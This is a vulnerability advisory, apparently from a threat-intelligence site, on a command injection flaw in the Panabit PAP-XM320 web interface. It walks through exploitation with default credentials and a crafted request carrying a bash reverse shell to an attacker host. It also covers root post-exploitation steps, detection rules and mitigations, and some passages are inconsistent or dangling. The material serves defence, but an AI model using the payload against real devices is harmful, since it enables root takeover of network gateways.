CVE-2026-36828
Executive Summary
CVE-2026-36828 is a critical, unauthenticated-to-authenticated command injection vulnerability in the Panabit PAP-XM320 network appliance, specifically in the /cgi-bin/tools/ajax_cmd CGI endpoint. Affecting firmware versions up to and including v7.7, the flaw allows any user with valid credentials (and potentially those who have obtained default credentials) to execute arbitrary shell commands with root privileges by crafting a malicious action=runcmd parameter. Exploitation results in complete compromise of the network appliance, which typically acts as a gateway or management device, enabling lateral movement, traffic interception, and persistent backdooring. With a CVSS score of 8.8 (High) and no vendor patch available, this vulnerability represents an active and significant risk for organizations deploying Panabit PAP-XM320 devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in the /cgi-bin/tools/ajax_cmd endpoint of the Panabit PAP-XM320's embedded web server. This CGI script is part of the device's administrative web interface, designed to expose AJAX-based command execution facilities to the front-end dashboard. The endpoint accepts HTTP POST requests with parameters that are subsequently processed by a shell interpreter.
The core flaw is a classic OS command injection (CWE-78). The action parameter, when set to runcmd, triggers a code path where a user-supplied command string is concatenated into a system-level shell invocation without adequate sanitization or escaping. Specifically, the application likely constructs a command string resembling:
/bin/sh -c "<user_supplied_command>"
The critical issue is the absence of input validation on the command argument. An attacker can inject shell metacharacters such as ;, &&, |, or backticks to terminate the intended command and execute arbitrary additional commands. For example, a legitimate runcmd call might expect a parameter like cmd=ping 8.8.8.8, but an attacker could submit cmd=ping 8.8.8.8; whoami to execute both commands.
Several factors elevate the severity of this flaw:
- Root Privileges: The CGI process runs with elevated privileges (root), meaning any injected command executes in the context of the system's superuser. This grants the attacker full control over the operating system, including the ability to modify system files, create new user accounts, disable security controls, and install persistent malware.
- Authentication Requirement: The endpoint requires authentication, meaning an attacker must have valid credentials. However, many network appliances ship with default credentials (e.g.,
admin/adminoradmin/panabit), and these are often not changed by administrators. Additionally, the device may expose other vulnerabilities allowing credential theft or authentication bypass, further expanding the attacker pool. - Network Position: The PAP-XM320 is a network management/gateway appliance. Compromising it grants the attacker access to the device's network configuration, including VPN credentials, routing tables, and the ability to intercept or redirect network traffic passing through the device.
The attack surface is the device's web management interface, typically listening on ports 80 (HTTP) and 443 (HTTPS). This is a public-facing interface in many deployments, as the device may be remotely managed. The vulnerability is trivially exploitable via a crafted HTTP request, requiring only knowledge of the endpoint and valid authentication.
Exploitation Scenarios
The following step-by-step attack chain demonstrates a realistic exploitation of CVE-2026-36828. It assumes the attacker either has valid credentials (e.g., default credentials admin/panabit) or has obtained them via a previous phishing or credential-stuffing campaign.
Step 1: Reconnaissance and Target Identification
The attacker begins by scanning for exposed Panabit devices. Using Shodan or masscan, they search for hosts with the Panabit web interface banner (title:"Panabit" or http.title:"Panabit"). They identify the target IP address (e.g., 203.0.113.10) and confirm the management interface is accessible on port 443.
Step 2: Authentication and Session Establishment
The attacker sends a POST request to the login endpoint (/cgi-bin/login.cgi or similar) with default username/password credentials:
POST /cgi-bin/login.cgi HTTP/1.1
Host: 203.0.113.10
Content-Type: application/x-www-form-urlencoded
username=admin&password=panabit
The server responds with a session cookie (PHPSESSID=abc123...) and redirects the attacker to the main dashboard.
Step 3: Crafting the Malicious Payload
The attacker constructs the command injection payload for the ajax_cmd endpoint. The command chain is designed to establish a reverse shell back to an attacker-controlled machine (e.g., 192.168.1.100). The injected payload uses bash to spawn a TCP reverse shell:
cmd=ping 8.8.8.8; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
URL-encoded, the full POST request becomes:
POST /cgi-bin/tools/ajax_cmd HTTP/1.1
Host: 203.0.113.10
Cookie: PHPSESSID=abc123
Content-Type: application/x-www-form-urlencoded
action=runcmd&cmd=ping%208.8.8.8%3B%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261
Step 4: Execution and Reverse Shell Establishment
The CGI script processes the request, concatenating the cmd parameter into the shell command string, and executes it as root. The original ping command runs, followed by the injected bash -i reverse shell. The attacker's listener (e.g., nc -lvnp 4444 on their machine) receives a root shell connection.
Step 5: Post-Exploitation and Persistence
With a root shell, the attacker performs the following actions:
- Credential Harvesting: Dumps
/etc/shadowand configuration files to capture additional credentials. - Lateral Movement: Uses the compromised device to pivot into the internal network, scanning for other vulnerable devices.
- Persistence: Installs a SSH key for the root user, allowing persistent access even if the web service is patched or disabled.
- Data Exfiltration: Configures the device to mirror or capture traffic passing through the gateway, exfiltrating sensitive data such as VPN credentials or unencrypted internal communications.
- Denial of Service: Executes commands to crash the device or disrupt network services, causing operational outage.
Impact Assessment
The business impact of CVE-2026-36828 is critical for organizations relying on the Panabit PAP-XM320 for network management and gateway functions. The CVSS score of 8.8 (High) reflects the high attack complexity (Low), high privileges required (Low), and no user interaction needed (None).
Affected Systems: All Panabit PAP-XM320 appliances running firmware v7.7 or earlier. Units deployed as internet-facing gateways are most at risk, but even internal deployments can be reached via compromised credentials or internal network access.
Blast Radius: Compromise of the PAP-XM320 grants root-level access to a device that sits at the network perimeter. The attacker can:
- Intercept Network Traffic: The device is a gateway, so the attacker can sniff, modify, or redirect traffic to other destinations.
- Pivot into the Internal Network: The appliance has network connections to both the public internet and internal LAN/VLANs, providing a pivot point for lateral movement.
- Disrupt Services: The attacker can shut down the device, causing an outage for all traffic routed through it.
- Establish Persistence: Root access allows the attacker to install backdoors that survive reboots and minor firmware updates.
CVSS Subscores:
- Attack Vector: Network (AV:N) — exploitable remotely.
- Attack Complexity: Low (AC:L) — no special conditions require.
- Privileges Required: Low (PR:L) — valid credentials needed.
- User Interaction: None (UI:N) — no user action required.
- Confidentiality/Integrity/Availability Impact: High (C:H/I:H/A:H) — full system compromise.
Given the unpatched status, the vulnerability is a "zero-day" risk. The EPSS score of 0.01667 (74.5% percentile) indicates that while exploitation is not currently widespread, the vulnerability is of high interest and may be exploited in the near future as threat actors discover it.
Detection Guidance
Sigma Rule
title: Panabit PAP-XM320 Command Injection in ajax_cmd
id: 7f8a1c2e-4b2a-4f2e-9a1b-2c3d4e5f6a7b
status: experimental
description: Detects attempts to exploit CVE-2026-36828 via the /cgi-bin/tools/ajax_cmd endpoint
author: valtersit.com Threat Intelligence
date: 2026/03/15
logsource:
category: webserver
product: panabit
service: http
detection:
selection:
c-uri|startswith: '/cgi-bin/tools/ajax_cmd'
c-uri|contains|all:
- 'action=runcmd'
- 'cmd='
c-uri|contains|any:
- ';'
- '&&'
- '|'
- '`'
filter:
c-uri|contains:
- 'ping'
- 'traceroute'
- 'nslookup'
condition: selection and not filter
level: critical
tags:
- attack.t1190
- attack.execution
- cve.2026.36828
YARA Rule
rule Panabit_ajax_cmd_Command_Injection
{
meta:
author = "valtersit.com Threat Intelligence"
description = "Detects command injection attempts on Panabit PAP-XM320 ajax_cmd endpoint"
cve = "CVE-2026-36828"
date = "2026-03-15"
strings:
$endpoint = "/cgi-bin/tools/ajax_cmd"
$action = "action=runcmd"
$cmd_param = "cmd="
$shell_meta1 = ";"
$shell_meta2 = "&&"
$shell_meta3 = "|"
$shell_meta4 = "`"
$shell_meta5 = "$(("
condition:
all of ($endpoint, $action, $cmd_param) and any of ($shell_meta*)
}
Suricata IDS Rule
alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Panabit PAP-XM320 Command Injection in ajax_cmd (CVE-2026-36828)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/tools/ajax_cmd"; http.client_body; content:"action=runcmd"; content:"cmd="; pcre:"/(?:[;&|`]|\$\()/Ui"; sid:20260601; rev:1; metadata:attack_target Web_Server, created_at 2026_03_15, cve CVE-2026-36828, deployment Perimeter, signature_severity Critical, tag Exploit; reference:cve,2026-36828; classtype:web-application-attack;)
Elastic Detection
sequence by source.ip with maxspan=10m
[network where process.name == "nginx" and dst.port == 443 and
network.transport == "tcp" and
http.request.method == "POST" and
url.path == "/cgi-bin/tools/ajax_cmd" and
url.query contains "action=runcmd" and
url.query contains "cmd=" and
(url.query contains ";" or url.query contains "&&" or url.query contains "|" or url.query contains "`")]
[process where event.type == "start" and
process.command_line : "sh -c *" or process.name : "bash"]
Splunk SPL Query
index=webserver sourcetype=apache:access OR sourcetype=nginx:plus:access
| where like(uri, "%/cgi-bin/tools/ajax_cmd%")
| where like(uri, "%action=runcmd%")
| search uri IN ("*;*", "*&&*", "*|*", "*`*")
| stats count by src_ip, uri, status, _time
| sort - count
| rename src_ip as "Source IP", uri as "Request URI", status as "HTTP Status"
Wazuh OSSEC Rule
<group name="panabit,cve-2026-36828,">
<rule id="100368" level="12">
<decoded_as>json</decoded_as>
<field name="url">/cgi-bin/tools/ajax_cmd</field>
<field name="action">runcmd</field>
<regex>cmd=.*[;&|`]</regex>
<description>Panabit PAP-XM320 command injection attempt on ajax_cmd endpoint (CVE-2026-36828)</description>
<group>attack_exploitation,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Status: UNPATCHED — As of this analysis, no official patch exists for CVE-2026-36828. The vendor (Panabit) has not released a firmware update addressing this flaw, and no workarounds have been officially documented.
Immediate Mitigations (1-2 weeks):
- Disable Remote Management: If the management interface is not strictly required for internet-facing access, disable remote management or restrict it to trusted IP addresses only. This can be done via firewall rules or by binding the web server to internal interfaces only.
- Change Default Credentials: Immediately change all default credentials (e.g.,
admin/panabit) to strong, unique passwords. This reduces the likelihood of an attacker gaining the authenticated access required to trigger the vulnerability. - Monitor and Filter Traffic: Deploy network-level detection rules (see Detection Guidance section) at the perimeter firewall or IDS/IPS to alert on or block malicious requests targeting
/cgi-bin/tools/ajax_cmd.
Patch/Upgrade Steps (when available):
- Monitor Panabit's official advisory channels for a firmware update that addresses CVE-2026-36828.
- Once available, download the patched firmware and apply it during a scheduled maintenance window.
- After applying the patch, verify the device's integrity by checking system logs and running a full malware scan, as prior compromise may have left backdoors.
Long-Term Hardening (1-3 months):
- Network Segmentation: Place the PAP-XM320 in a dedicated management VLAN accessible only to authorized administrators via a VPN or bastion host.
- Logging and SIEM Integration: Enable comprehensive logging on the device and integrate these logs into your SIEM for continuous monitoring.
- Regular Credential Auditing: Implement a policy for periodic password rotation and removal of unnecessary user accounts.
- Firmware Update Cadence: Establish a regular schedule for checking and applying firmware updates from the vendor.
Vendor Contact: Organizations should contact Panabit support directly (https://www.panabit.com/support) to pressure for a patch and request interim guidance.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36828 (when published)
- Panabit Official Website / Vendor Advisory: https://www.panabit.com/support (check for security advisories)
- GitHub Security Advisory (if published): https://github.com/advisories (search for CVE-2026-36828)
- CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (not listed; monitor for updates)
- Exploit-DB: https://www.exploit-db.com (search for CVE-2026-36828; no public exploits as of analysis date)
Exploit-in-the-Wild Evidence: As of this report's publication date, there is no confirmed evidence of exploitation in the wild. However, the vulnerability's high severity, low attack complexity, and authenticated-only access make it a prime target for threat actors, especially given the unpatched status. SOC teams should remain vigilant for any anomalies on Panabit devices.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.